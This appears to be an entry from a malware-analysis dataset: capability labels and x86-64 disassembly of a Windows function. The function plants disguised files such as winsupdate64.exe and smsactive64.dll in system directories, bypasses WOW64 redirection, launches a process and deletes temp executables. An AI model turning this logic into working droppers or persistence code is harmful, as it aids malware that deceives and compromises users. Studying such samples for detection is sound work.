Function at 0x140002450
Capabilities:
Acquire debug privileges
Create process on windows
Delete file
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x6b0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x6a0], rax
lea rcx, [rsp + 0x151]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x150], 0
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x41]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x40], 0
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x371]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x370], 0
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x261]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x260], 0
call sub.MSVCR90.dll_memset
lea rcx, [0x140004820]
mov edx, 1
call fcn.1400023a0
call fcn.140001000
mov dword [0x1400069e4], eax
test eax, eax
je 0x140002526
mov ecx, 4
call fcn.140002110
cmp dword [0x1400069e4], 0
je 0x140002526
call fcn.1400021b0
call fcn.140002270
mov ecx, 5
call fcn.140002110
jmp 0x14000252b
call fcn.140002270
lea rcx, [0x140007990]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x140007990]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x14000257a
lea rdx, str.Wow64DisableWow64FsRedirection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x30]
call rax
lea r9, str.smsactive64.dll
lea r8, [0x140007990]
lea rdx, [0x1400046ec]
lea rcx, [rsp + 0x370]
call qword [sym.imp.MSVCR90.dll_sprintf]
xor r8d, r8d
lea rdx, [rsp + 0x370]
lea ecx, [r8 + 0x6c]
call fcn.140001fc0
lea rcx, [rsp + 0x370]
mov edx, 1
call fcn.140001c60
lea r9, [0x140004860]
lea r8, [0x140007990]
lea rdx, [0x1400046ec]
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCR90.dll_sprintf]
xor r8d, r8d
lea rdx, [rsp + 0x40]
lea ecx, [r8 + 0x65]
call fcn.140001fc0
lea rcx, [rsp + 0x40]
mov edx, 1
call fcn.140001c60
lea rcx, [0x140007990]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x140007990]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
lea r9, [0x140004860]
lea r8, [0x140007990]
lea rdx, [0x1400046ec]
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCR90.dll_sprintf]
xor r8d, r8d
lea rdx, [rsp + 0x40]
lea ecx, [r8 + 0x65]
call fcn.140001fc0
lea rcx, [rsp + 0x40]
mov edx, 1
call fcn.140001c60
lea rcx, [0x140007990]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x140007990]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
lea r9, [0x140004870]
lea r8, [0x140007990]
lea rdx, [0x1400046ec]
lea rcx, [rsp + 0x150]
call qword [sym.imp.MSVCR90.dll_sprintf]
xor r8d, r8d
lea rdx, [rsp + 0x150]
lea ecx, [r8 + 0x69]
call fcn.140001fc0
lea rcx, [rsp + 0x150]
mov edx, 1
call fcn.140001c60
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x140002701
lea rdx, str.Wow64DisableWow64FsRedirection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x30]
call rax
call fcn.140001680
lea rdi, [0x1400068e0]
mov r8d, 0x104
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor ecx, ecx
lea rbx, [0x1400067d0]
nop word [rax + rax]
movzx eax, byte [rcx + rdi]
inc rcx
mov byte [rcx + rbx - 1], al
test al, al
jne 0x140002730
mov edx, 0x5c
mov rcx, rbx
call qword [sym.imp.MSVCR90.dll_strrchr]
test rax, rax
je 0x140002755
mov byte [rax], 0
lea r9, str.winsupdate64.exe
lea rdx, [0x1400046ec]
lea rcx, [rsp + 0x260]
mov r8, rbx
call qword [sym.imp.MSVCR90.dll_sprintf]
xor r8d, r8d
lea rdx, [rsp + 0x260]
lea ecx, [r8 + 0x79]
call fcn.140001fc0
lea r8, [rsp + 0x260]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.140001d60
call fcn.140001a70
lea rcx, [rsp + 0x591]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x590], 0
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x481]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x480], 0
call sub.MSVCR90.dll_memset
lea rdx, [rsp + 0x480]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r9, str.ssdx64.exe
lea r8, [rsp + 0x480]
lea rdx, [0x14000488c]
lea rcx, [rsp + 0x590]
call qword [sym.imp.MSVCR90.dll_sprintf]
lea rcx, [rsp + 0x590]
call qword [sym.imp.MSVCR90.dll_remove]
lea rcx, str.c:windows_temp_rerx.exe
call qword [sym.imp.MSVCR90.dll_remove]
xor eax, eax
mov rcx, qword [rsp + 0x6a0]
xor rcx, rsp
call fcn.140002890
mov rbx, qword [rsp + 0x6c0]
add rsp, 0x6b0
pop rdi
ret